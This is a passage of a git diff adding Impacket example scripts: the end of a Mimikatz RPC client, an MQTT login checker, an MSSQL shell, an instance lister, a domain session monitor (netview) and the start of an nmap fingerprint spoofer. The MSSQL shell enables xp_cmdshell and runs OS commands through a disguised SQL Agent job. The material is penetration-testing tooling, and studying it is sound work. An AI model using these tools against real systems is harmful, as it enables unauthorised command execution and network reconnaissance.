rpctransport = DCERPCTransportFactory(stringBinding) + rpctransport.set_credentials(username, password, domain, lmhash, nthash, options.aesKey) + dce = rpctransport.get_dce_rpc() + if options.k is True: + rpctransport.set_kerberos(True, options.dc_ip) + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + rpctransport.set_credentials(username, password, domain, lmhash, nthash) + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + dce.connect() + dce.bind(mimilib.MSRPC_UUID_MIMIKATZ) + + shell = MimikatzShell(dce) + + if options.file is not None: + logging.info("Executing commands from %s" % options.file.name) + for line in options.file.readlines(): + if line[0] != '#': + print("# %s" % line, end=' ') + shell.onecmd(line) + else: + print(line, end=' ') + else: + shell.cmdloop() + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.error(str(e)) + +if __name__ == "__main__": + main() diff --git a/examples/mqtt_check.py b/examples/mqtt_check.py new file mode 100644 index 0000000..e561a1f --- /dev/null +++ b/examples/mqtt_check.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Simple MQTT example aimed at playing with different login options. Can be converted into a account/password +# brute forcer quite easily. +# +# Author: +# Alberto Solino (@agsolino) +# +# Reference for: +# MQTT and Structure +# + +from __future__ import print_function + +import argparse +import logging +import sys + +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket.mqtt import CONNECT_ACK_ERROR_MSGS, MQTTConnection + +class MQTT_LOGIN: + def __init__(self, username, password, target, options): + self._options = options + self._username = username + self._password = password + self._target = target + + if self._username == '': + self._username = None + + def run(self): + mqtt = MQTTConnection(self._target, int(self._options.port), self._options.ssl) + + if self._options.client_id is None: + clientId = ' ' + else: + clientId = self._options.client_id + + mqtt.connect(clientId, self._username, self._password) + + logging.info(CONNECT_ACK_ERROR_MSGS[0]) + +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print(version.BANNER) + parser = argparse.ArgumentParser(add_help=False, + description="MQTT login check") + parser.add_argument("--help", action="help", help='show this help message and exit') + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-client-id', action='store', help='Client ID used when authenticating (default random)') + parser.add_argument('-ssl', action='store_true', help='turn SSL on') + parser.add_argument('-port', action='store', default='1883', help='port to connect to (default 1883)') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + try: + options = parser.parse_args() + except Exception as e: + logging.error(str(e)) + sys.exit(1) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, address = parse_target(options.target) + + check_mqtt = MQTT_LOGIN(username, password, address, options) + try: + check_mqtt.run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(e) diff --git a/examples/mssqlclient.py b/examples/mssqlclient.py new file mode 100644 index 0000000..2c828af --- /dev/null +++ b/examples/mssqlclient.py @@ -0,0 +1,189 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# [MS-TDS] & [MC-SQLR] example. +# +# Author: +# Alberto Solino (@agsolino) +# +# Reference for: +# Structure +# + +from __future__ import division +from __future__ import print_function +import argparse +import sys +import os +import logging + +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket import version, tds + +if __name__ == '__main__': + import cmd + + class SQLSHELL(cmd.Cmd): + def __init__(self, SQL): + cmd.Cmd.__init__(self) + self.sql = SQL + self.prompt = 'SQL> ' + self.intro = '[!] Press help for extra shell commands' + + def do_help(self, line): + print(""" + lcd {path} - changes the current local directory to {path} + exit - terminates the server process (and this session) + enable_xp_cmdshell - you know what it means + disable_xp_cmdshell - you know what it means + xp_cmdshell {cmd} - executes cmd using xp_cmdshell + sp_start_job {cmd} - executes cmd using the sql server agent (blind) + ! {cmd} - executes a local shell cmd + """) + + def do_shell(self, s): + os.system(s) + + def do_xp_cmdshell(self, s): + try: + self.sql.sql_query("exec master..xp_cmdshell '%s'" % s) + self.sql.printReplies() + self.sql.colMeta[0]['TypeData'] = 80*2 + self.sql.printRows() + except: + pass + + def do_sp_start_job(self, s): + try: + self.sql.sql_query("DECLARE @job NVARCHAR(100);" + "SET @job='IdxDefrag'+CONVERT(NVARCHAR(36),NEWID());" + "EXEC msdb..sp_add_job @job_name=@job,@description='INDEXDEFRAG'," + "@owner_login_name='sa',@delete_level=3;" + "EXEC msdb..sp_add_jobstep @job_name=@job,@step_id=1,@step_name='Defragmentation'," + "@subsystem='CMDEXEC',@command='%s',@on_success_action=1;" + "EXEC msdb..sp_add_jobserver @job_name=@job;" + "EXEC msdb..sp_start_job @job_name=@job;" % s) + self.sql.printReplies() + self.sql.printRows() + except: + pass + + def do_lcd(self, s): + if s == '': + print(os.getcwd()) + else: + os.chdir(s) + + def do_enable_xp_cmdshell(self, line): + try: + self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;" + "exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;") + self.sql.printReplies() + self.sql.printRows() + except: + pass + + def do_disable_xp_cmdshell(self, line): + try: + self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure " + "'show advanced options', 0 ;RECONFIGURE;") + self.sql.printReplies() + self.sql.printRows() + except: + pass + + def default(self, line): + try: + self.sql.sql_query(line) + self.sql.printReplies() + self.sql.printRows() + except: + pass + + def emptyline(self): + pass + + def do_exit(self, line): + return True + + # Init the example's logger theme + logger.init() + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help = True, description = "TDS client implementation (SSL supported).") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-port', action='store', default='1433', help='target MSSQL port (default 1433)') + parser.add_argument('-db', action='store', help='MSSQL database instance (default None)') + parser.add_argument('-windows-auth', action='store_true', default=False, help='whether or not to use Windows ' + 'Authentication (default False)') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the SQL shell') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, address = parse_target(options.target) + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + ms_sql = tds.MSSQL(address, int(options.port)) + ms_sql.connect() + try: + if options.k is True: + res = ms_sql.kerberosLogin(options.db, username, password, domain, options.hashes, options.aesKey, + kdcHost=options.dc_ip) + else: + res = ms_sql.login(options.db, username, password, domain, options.hashes, options.windows_auth) + ms_sql.printReplies() + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.error(str(e)) + res = False + if res is True: + shell = SQLSHELL(ms_sql) + if options.file is None: + shell.cmdloop() + else: + for line in options.file.readlines(): + print("SQL> %s" % line, end=' ') + shell.onecmd(line) + ms_sql.disconnect() diff --git a/examples/mssqlinstance.py b/examples/mssqlinstance.py new file mode 100644 index 0000000..19f5ed7 --- /dev/null +++ b/examples/mssqlinstance.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# [MC-SQLR] example. Retrieves the instances names from the target host +# +# Author: +# Alberto Solino (@agsolino) +# +# Reference for: +# Structure +# + +from __future__ import division +from __future__ import print_function +import argparse +import sys +import logging + +from impacket.examples import logger +from impacket import version, tds + +if __name__ == '__main__': + + print(version.BANNER) + # Init the example's logger theme + logger.init() + + parser = argparse.ArgumentParser(add_help = True, description = "Asks the remote host for its running MSSQL Instances.") + + parser.add_argument('host', action='store', help='target host') + parser.add_argument('-timeout', action='store', default='5', help='timeout to wait for an answer') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + ms_sql = tds.MSSQL(options.host) + instances = ms_sql.getInstances(int(options.timeout)) + if len(instances) == 0: + "No MSSQL Instances found" + else: + for i, instance in enumerate(instances): + logging.info("Instance %d" % i) + for key in list(instance.keys()): + print(key + ":" + instance[key]) diff --git a/examples/netview.py b/examples/netview.py new file mode 100644 index 0000000..62d0491 --- /dev/null +++ b/examples/netview.py @@ -0,0 +1,513 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# The idea of this script is to get a list of the sessions +# opened at the remote hosts and keep track of them. +# Coincidentally @mubix did something similar a few years +# ago so credit goes to him (and the script's name ;)). +# Check it out at https://github.com/mubix/netview +# The main difference with our approach is we keep +# looping over the hosts found and keep track of who logged +# in/out from remote servers. Plus, we keep the connections +# with the target systems and just send a few DCE-RPC packets. +# +# One VERY IMPORTANT thing is: +# +# YOU HAVE TO BE ABLE TO RESOLV THE DOMAIN MACHINES NETBIOS +# NAMES. That's usually solved by setting your DNS to the +# domain DNS (and the right search domain). +# +# Some examples of usage are: +# +# netview.py -target 192.168.1.10 beto +# +# This will show the sessions on 192.168.1.10 and will authenticate as 'beto' +# (password will be prompted) +# +# netview.py FREEFLY.NET/beto +# +# This will download all machines from FREEFLY.NET, authenticated as 'beto' +# and will gather the session information for those machines that appear +# to be up. There is a background thread checking aliveness of the targets +# at all times. +# +# netview.py -users /tmp/users -dc-ip freefly-dc.freefly.net -k FREEFLY.NET/beto +# +# This will download all machines from FREEFLY.NET, authenticating using +# Kerberos (that's why -dc-ip parameter is needed), and filter +# the output based on the list of users specified in /tmp/users file. +# +# Author: +# beto (@agsolino) +# + +from __future__ import division +from __future__ import print_function +import sys +import argparse +import logging +import socket +from threading import Thread, Event +from queue import Queue +from time import sleep + +from impacket.examples import logger +from impacket.examples.utils import parse_credentials +from impacket import version +from impacket.smbconnection import SessionError +from impacket.dcerpc.v5 import transport, wkst, srvs, samr +from impacket.dcerpc.v5.ndr import NULL +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.nt_errors import STATUS_MORE_ENTRIES + +machinesAliveQueue = Queue() +machinesDownQueue = Queue() + +myIP = None + + +def checkMachines(machines, stopEvent, singlePass=False): + origLen = len(machines) + deadMachines = machines + done = False + while not done: + if stopEvent.is_set(): + done = True + break + for machine in deadMachines: + s = socket.socket() + try: + s = socket.create_connection((machine, 445), 2) + global myIP + myIP = s.getsockname()[0] + s.close() + machinesAliveQueue.put(machine) + except Exception as e: + logging.debug('%s: not alive (%s)' % (machine, e)) + pass + else: + logging.debug('%s: alive!' % machine) + deadMachines.remove(machine) + if stopEvent.is_set(): + done = True + break + + logging.debug('up: %d, down: %d, total: %d' % (origLen-len(deadMachines), len(deadMachines), origLen)) + if singlePass is True: + done = True + if not done: + sleep(10) + # Do we have some new deadMachines to add? + while machinesDownQueue.empty() is False: + deadMachines.append(machinesDownQueue.get()) + +class USERENUM: + def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, options=None): + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = aesKey + self.__doKerberos = doKerberos + self.__kdcHost = options.dc_ip + self.__options = options + self.__machinesList = list() + self.__targets = dict() + self.__filterUsers = None + self.__targetsThreadEvent = None + self.__targetsThread = None + self.__maxConnections = int(options.max_connections) + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + + def getDomainMachines(self): + if self.__kdcHost is not None: + domainController = self.__kdcHost + elif self.__domain != '': + domainController = self.__domain + else: + raise Exception('A domain is needed!') + + logging.info('Getting machine\'s list from %s' % domainController) + rpctransport = transport.SMBTransport(domainController, 445, r'\samr', self.__username, self.__password, + self.__domain, self.__lmhash, self.__nthash, self.__aesKey, + doKerberos=self.__doKerberos, kdcHost = self.__kdcHost) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(samr.MSRPC_UUID_SAMR) + try: + resp = samr.hSamrConnect(dce) + serverHandle = resp['ServerHandle'] + + resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle) + domains = resp['Buffer']['Buffer'] + + logging.info("Looking up users in domain %s" % domains[0]['Name']) + + resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] ) + + resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId']) + domainHandle = resp['DomainHandle'] + + status = STATUS_MORE_ENTRIES + enumerationContext = 0 + while status == STATUS_MORE_ENTRIES: + try: + resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, samr.USER_WORKSTATION_TRUST_ACCOUNT, + enumerationContext=enumerationContext) + except DCERPCException as e: + if str(e).find('STATUS_MORE_ENTRIES') < 0: + raise + resp = e.get_packet() + + for user in resp['Buffer']['Buffer']: + self.__machinesList.append(user['Name'][:-1]) + logging.debug('Machine name - rid: %s - %d'% (user['Name'], user['RelativeId'])) + + enumerationContext = resp['EnumerationContext'] + status = resp['ErrorCode'] + except Exception as e: + raise e + + dce.disconnect() + + def getTargets(self): + logging.info('Importing targets') + if self.__options.target is None and self.__options.targets is None: + # We need to download the list of machines from the domain + self.getDomainMachines() + elif self.__options.targets is not None: + for line in self.__options.targets.readlines(): + self.__machinesList.append(line.strip(' \r\n')) + else: + # Just a single machine + self.__machinesList.append(self.__options.target) + logging.info("Got %d machines" % len(self.__machinesList)) + + def filterUsers(self): + if self.__options.user is not None: + self.__filterUsers = list() + self.__filterUsers.append(self.__options.user) + elif self.__options.users is not None: + # Grab users list from a file + self.__filterUsers = list() + for line in self.__options.users.readlines(): + self.__filterUsers.append(line.strip(' \r\n')) + else: + self.__filterUsers = None + + def run(self): + self.getTargets() + self.filterUsers() + #self.filterGroups() + + # Up to here we should have figured out the scope of our work + self.__targetsThreadEvent = Event() + if self.__options.noloop is False: + # Start a separate thread checking the targets that are up + self.__targetsThread = Thread(target=checkMachines, args=(self.__machinesList,self.__targetsThreadEvent)) + self.__targetsThread.start() + else: + # Since it's gonna be a one shoot test, we need to wait till it finishes + checkMachines(self.__machinesList,self.__targetsThreadEvent, singlePass=True) + + while True: + # Do we have more machines to add? + while machinesAliveQueue.empty() is False: + machine = machinesAliveQueue.get() + logging.debug('Adding %s to the up list' % machine) + self.__targets[machine] = {} + self.__targets[machine]['SRVS'] = None + self.__targets[machine]['WKST'] = None + self.__targets[machine]['Admin'] = True + self.__targets[machine]['Sessions'] = list() + self.__targets[machine]['LoggedIn'] = set() + + for target in list(self.__targets.keys()): + try: + self.getSessions(target) + self.getLoggedIn(target) + except (SessionError, DCERPCException) as e: + # We will silently pass these ones, might be issues with Kerberos, or DCE + if str(e).find('LOGON_FAILURE') >=0: + # For some reason our credentials don't work there, + # taking it out from the list. + logging.error('STATUS_LOGON_FAILURE for %s, discarding' % target) + del(self.__targets[target]) + elif str(e).find('INVALID_PARAMETER') >=0: + del(self.__targets[target]) + elif str(e).find('access_denied') >=0: + # Can't access the target RPC call, most probably a Unix host + # taking it out from the list + del(self.__targets[target]) + else: + logging.info(str(e)) + pass + except KeyboardInterrupt: + raise + except Exception as e: + #import traceback + #traceback.print_exc() + if str(e).find('timed out') >=0: + # Most probably this site went down. taking it out + # ToDo: add it back to the list of machines to check in + # the separate thread - DONE + del(self.__targets[target]) + machinesDownQueue.put(target) + else: + # These ones we will report + logging.error(e) + pass + + if self.__options.noloop is True: + break + + logging.debug('Sleeping for %s seconds' % self.__options.delay) + logging.debug('Currently monitoring %d active targets' % len(self.__targets)) + sleep(int(self.__options.delay)) + + def getSessions(self, target): + if self.__targets[target]['SRVS'] is None: + stringSrvsBinding = r'ncacn_np:%s[\PIPE\srvsvc]' % target + rpctransportSrvs = transport.DCERPCTransportFactory(stringSrvsBinding) + if hasattr(rpctransportSrvs, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransportSrvs.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey) + rpctransportSrvs.set_kerberos(self.__doKerberos, self.__kdcHost) + + dce = rpctransportSrvs.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + self.__maxConnections -= 1 + else: + dce = self.__targets[target]['SRVS'] + + try: + resp = srvs.hNetrSessionEnum(dce, '\x00', NULL, 10) + except Exception as e: + if str(e).find('Broken pipe') >= 0: + # The connection timed-out. Let's try to bring it back next round + self.__targets[target]['SRVS'] = None + self.__maxConnections += 1 + return + else: + raise + + if self.__maxConnections < 0: + # Can't keep this connection open. Closing it + dce.disconnect() + self.__maxConnections = 0 + else: + self.__targets[target]['SRVS'] = dce + + # Let's see who createad a connection since last check + tmpSession = list() + printCRLF = False + for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']: + userName = session['sesi10_username'][:-1] + sourceIP = session['sesi10_cname'][:-1][2:] + key = '%s\x01%s' % (userName, sourceIP) + myEntry = '%s\x01%s' % (self.__username, myIP) + tmpSession.append(key) + if not(key in self.__targets[target]['Sessions']): + # Skipping myself + if key != myEntry: + self.__targets[target]['Sessions'].append(key) + # Are we filtering users? + if self.__filterUsers is not None: + if userName in self.__filterUsers: + print("%s: user %s logged from host %s - active: %d, idle: %d" % ( + target, userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time'])) + printCRLF = True + else: + print("%s: user %s logged from host %s - active: %d, idle: %d" % ( + target, userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time'])) + printCRLF = True + + # Let's see who deleted a connection since last check + for nItem, session in enumerate(self.__targets[target]['Sessions']): + userName, sourceIP = session.split('\x01') + if session not in tmpSession: + del(self.__targets[target]['Sessions'][nItem]) + # Are we filtering users? + if self.__filterUsers is not None: + if userName in self.__filterUsers: + print("%s: user %s logged off from host %s" % (target, userName, sourceIP)) + printCRLF=True + else: + print("%s: user %s logged off from host %s" % (target, userName, sourceIP)) + printCRLF=True + + if printCRLF is True: + print() + + def getLoggedIn(self, target): + if self.__targets[target]['Admin'] is False: + return + + if self.__targets[target]['WKST'] is None: + stringWkstBinding = r'ncacn_np:%s[\PIPE\wkssvc]' % target + rpctransportWkst = transport.DCERPCTransportFactory(stringWkstBinding) + if hasattr(rpctransportWkst, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransportWkst.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey) + rpctransportWkst.set_kerberos(self.__doKerberos, self.__kdcHost) + + dce = rpctransportWkst.get_dce_rpc() + dce.connect() + dce.bind(wkst.MSRPC_UUID_WKST) + self.__maxConnections -= 1 + else: + dce = self.__targets[target]['WKST'] + + try: + resp = wkst.hNetrWkstaUserEnum(dce,1) + except Exception as e: + if str(e).find('Broken pipe') >= 0: + # The connection timed-out. Let's try to bring it back next round + self.__targets[target]['WKST'] = None + self.__maxConnections += 1 + return + elif str(e).upper().find('ACCESS_DENIED'): + # We're not admin, bye + dce.disconnect() + self.__maxConnections += 1 + self.__targets[target]['Admin'] = False + return + else: + raise + + if self.__maxConnections < 0: + # Can't keep this connection open. Closing it + dce.disconnect() + self.__maxConnections = 0 + else: + self.__targets[target]['WKST'] = dce + + # Let's see who looged in locally since last check + tmpLoggedUsers = set() + printCRLF = False + for session in resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']: + userName = session['wkui1_username'][:-1] + logonDomain = session['wkui1_logon_domain'][:-1] + key = '%s\x01%s' % (userName, logonDomain) + tmpLoggedUsers.add(key) + if not(key in self.__targets[target]['LoggedIn']): + self.__targets[target]['LoggedIn'].add(key) + # Are we filtering users? + if self.__filterUsers is not None: + if userName in self.__filterUsers: + print("%s: user %s\\%s logged in LOCALLY" % (target,logonDomain,userName)) + printCRLF=True + else: + print("%s: user %s\\%s logged in LOCALLY" % (target,logonDomain,userName)) + printCRLF=True + + # Let's see who logged out since last check + for session in self.__targets[target]['LoggedIn'].copy(): + userName, logonDomain = session.split('\x01') + if session not in tmpLoggedUsers: + self.__targets[target]['LoggedIn'].remove(session) + # Are we filtering users? + if self.__filterUsers is not None: + if userName in self.__filterUsers: + print("%s: user %s\\%s logged off LOCALLY" % (target,logonDomain,userName)) + printCRLF=True + else: + print("%s: user %s\\%s logged off LOCALLY" % (target,logonDomain,userName)) + printCRLF=True + + if printCRLF is True: + print() + + def stop(self): + if self.__targetsThreadEvent is not None: + self.__targetsThreadEvent.set() + + +# Process command-line arguments. +if __name__ == '__main__': + print(version.BANNER) + + parser = argparse.ArgumentParser() + + parser.add_argument('identity', action='store', help='[domain/]username[:password]') + parser.add_argument('-user', action='store', help='Filter output by this user') + parser.add_argument('-users', type=argparse.FileType('r'), help='input file with list of users to filter to output for') + #parser.add_argument('-group', action='store', help='Filter output by members of this group') + #parser.add_argument('-groups', type=argparse.FileType('r'), help='Filter output by members of the groups included in the input file') + parser.add_argument('-target', action='store', help='target system to query info from. If not specified script will ' + 'run in domain mode.') + parser.add_argument('-targets', type=argparse.FileType('r'), help='input file with targets system to query info ' + 'from (one per line). If not specified script will run in domain mode.') + parser.add_argument('-noloop', action='store_true', default=False, help='Stop after the first probe') + parser.add_argument('-delay', action='store', default = '10', help='seconds delay between starting each batch probe ' + '(default 10 seconds)') + parser.add_argument('-max-connections', action='store', default='1000', help='Max amount of connections to keep ' + 'opened (default 1000)') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password = parse_credentials(options.identity) + + try: + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + executer = USERENUM(username, password, domain, options.hashes, options.aesKey, options.k, options) + executer.run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(e) + executer.stop() + except KeyboardInterrupt: + logging.info('Quitting.. please wait') + executer.stop() + sys.exit(0) diff --git a/examples/nmapAnswerMachine.py b/examples/nmapAnswerMachine.py new file mode 100644 index 0000000..89ef751 --- /dev/null +++ b/examples/nmapAnswerMachine.py @@ -0,0 +1,1127 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# + +import uncrc32 + +try: + import pcap as pcapy +except ImportError: + import pcapy + +from impacket import ImpactPacket +from impacket import ImpactDecoder +from impacket.ImpactPacket import TCPOption, array_tobytes +from impacket.examples import logger +from impacket.examples import os_ident + +#defaults + +MAC = "01:02:03:04:05:06" +IP = "192.168.67.254" +IFACE = "eth0" +OPEN_TCP_PORTS = [80, 443] +OPEN_UDP_PORTS = [111] +UDP_CMD_PORT = 12345 +nmapOSDB = '/usr/share/nmap/nmap-os-db' + +# Fingerprint = 'Adtran NetVanta 3200 router' # CD=Z TOSI=Z <----------- NMAP detects it as Linux!!! +# Fingerprint = 'ADIC Scalar 1000 tape library remote management unit' # DFI=S +# Fingerprint = 'Siemens Gigaset SX541 or USRobotics USR9111 wireless DSL modem' # DFI=O U1(DF=N IPL=38) +# Fingerprint = 'Apple Mac OS X 10.5.6 (Leopard) (Darwin 9.6.0)' # DFI=Y SI=S U1(DF=Y) + +Fingerprint = 'Sun Solaris 10 (SPARC)' +# Fingerprint = 'Sun Solaris 9 (x86)' + +# Fingerprint = '3Com OfficeConnect 3CRWER100-75 wireless broadband router' # TI=Z DFI=N !SS TI=Z II=I +# Fingerprint = 'WatchGuard Firebox X5w firewall/WAP' # TI=RD +# no TI=Hex +# Fingerprint = 'FreeBSD 6.0-STABLE - 6.2-RELEASE' # TI=RI +# Fingerprint = 'Microsoft Windows 98 SE' # TI=BI ----> BROKEN! nmap shows no SEQ() output +# Fingerprint = 'Microsoft Windows NT 4.0 SP5 - SP6' # TI=BI TOSI=S SS=S +# Fingerprint = 'Microsoft Windows Vista Business' # TI=I U1(IPL=164) + +# Fingerprint = 'FreeBSD 6.1-RELEASE' # no TI (TI=O) + +# Fingerprint = '2Wire 1701HG wireless ADSL modem' # IE(R=N) + +# Fingerprint = 'Cisco Catalyst 1912 switch' # TOSI=O SS=S + +O_ETH = 0 +O_IP = 1 +O_ARP = 1 +O_UDP = 2 +O_TCP = 2 +O_ICMP = 2 +O_UDP_DATA = 3 +O_ICMP_DATA = 3 + +def string2tuple(string): + if string.find(':') >= 0: + return [int(x) for x in string.split(':')] + else: + return [int(x) for x in string.split('.')] + +class Responder: + templateClass = None + signatureName = None + + def __init__(self, machine): + self.machine = machine + print("Initializing %s" % self.__class__.__name__) + self.initTemplate() + self.initFingerprint() + + def initTemplate(self): + if not self.templateClass: + self.template_onion = None + else: + try: + probe = self.templateClass(0, ['0.0.0.0',self.getIP()],[0, 0]) + except: + probe = self.templateClass(0, ['0.0.0.0',self.getIP()]) + self.template_onion = [probe.get_packet()] + try: + while 1: self.template_onion.append (self.template_onion[-1].child ()) + except: pass + + # print("Template: %s" % self.template_onion[O_ETH]) + # print("Options: %r" % self.template_onion[O_TCP].get_padded_options()) + # print("Flags: 0x%04x" % self.template_onion[O_TCP].get_th_flags()) + + def initFingerprint(self): + if not self.signatureName: + self.fingerprint = None + else: + self.fingerprint = self.machine.fingerprint.get_tests()[self.signatureName].copy() + + def isMine(self, in_onion): + return False + + def buildAnswer(self, in_onion): + return None + + def sendAnswer(self, out_onion): + self.machine.sendPacket(out_onion) + + def process(self, in_onion): + if not self.isMine(in_onion): return False + print("Got packet for %s" % self.__class__.__name__) + + out_onion = self.buildAnswer(in_onion) + + if out_onion: self.sendAnswer(out_onion) + return True + + def getIP(self): + return self.machine.ipAddress + +# Generic Responders (does the word Responder exist?) + +class ARPResponder(Responder): + def isMine(self, in_onion): + if len(in_onion) < 2: return False + + if in_onion[O_ARP].ethertype != ImpactPacket.ARP.ethertype: + return False + + return ( + in_onion[O_ARP].get_ar_op() == 1 and # ARP REQUEST + in_onion[O_ARP].get_ar_tpa() == string2tuple(self.machine.ipAddress)) + + def buildAnswer(self, in_onion): + eth = ImpactPacket.Ethernet() + arp = ImpactPacket.ARP() + eth.contains(arp) + + arp.set_ar_hrd(1) # Hardward type Ethernet + arp.set_ar_pro(0x800) # IP + arp.set_ar_op(2) # REPLY + arp.set_ar_hln(6) + arp.set_ar_pln(4) + arp.set_ar_sha(string2tuple(self.machine.macAddress)) + arp.set_ar_spa(string2tuple(self.machine.ipAddress)) + arp.set_ar_tha(in_onion[O_ARP].get_ar_sha()) + arp.set_ar_tpa(in_onion[O_ARP].get_ar_spa()) + + eth.set_ether_shost(arp.get_ar_sha()) + eth.set_ether_dhost(arp.get_ar_tha()) + + return [eth, arp] + +class IPResponder(Responder): + def buildAnswer(self, in_onion): + eth = ImpactPacket.Ethernet() + ip = ImpactPacket.IP() + + eth.contains(ip) + + eth.set_ether_shost(in_onion[O_ETH].get_ether_dhost()) + eth.set_ether_dhost(in_onion[O_ETH].get_ether_shost()) + + ip.set_ip_src(in_onion[O_IP].get_ip_dst()) + ip.set_ip_dst(in_onion[O_IP].get_ip_src()) + ip.set_ip_id(self.machine.getIPID()) + + return [eth, ip] + + def sameIPFlags(self, in_onion): + if not self.template_onion: return True + return (self.template_onion[O_IP].get_ip_off() & 0xe000) == 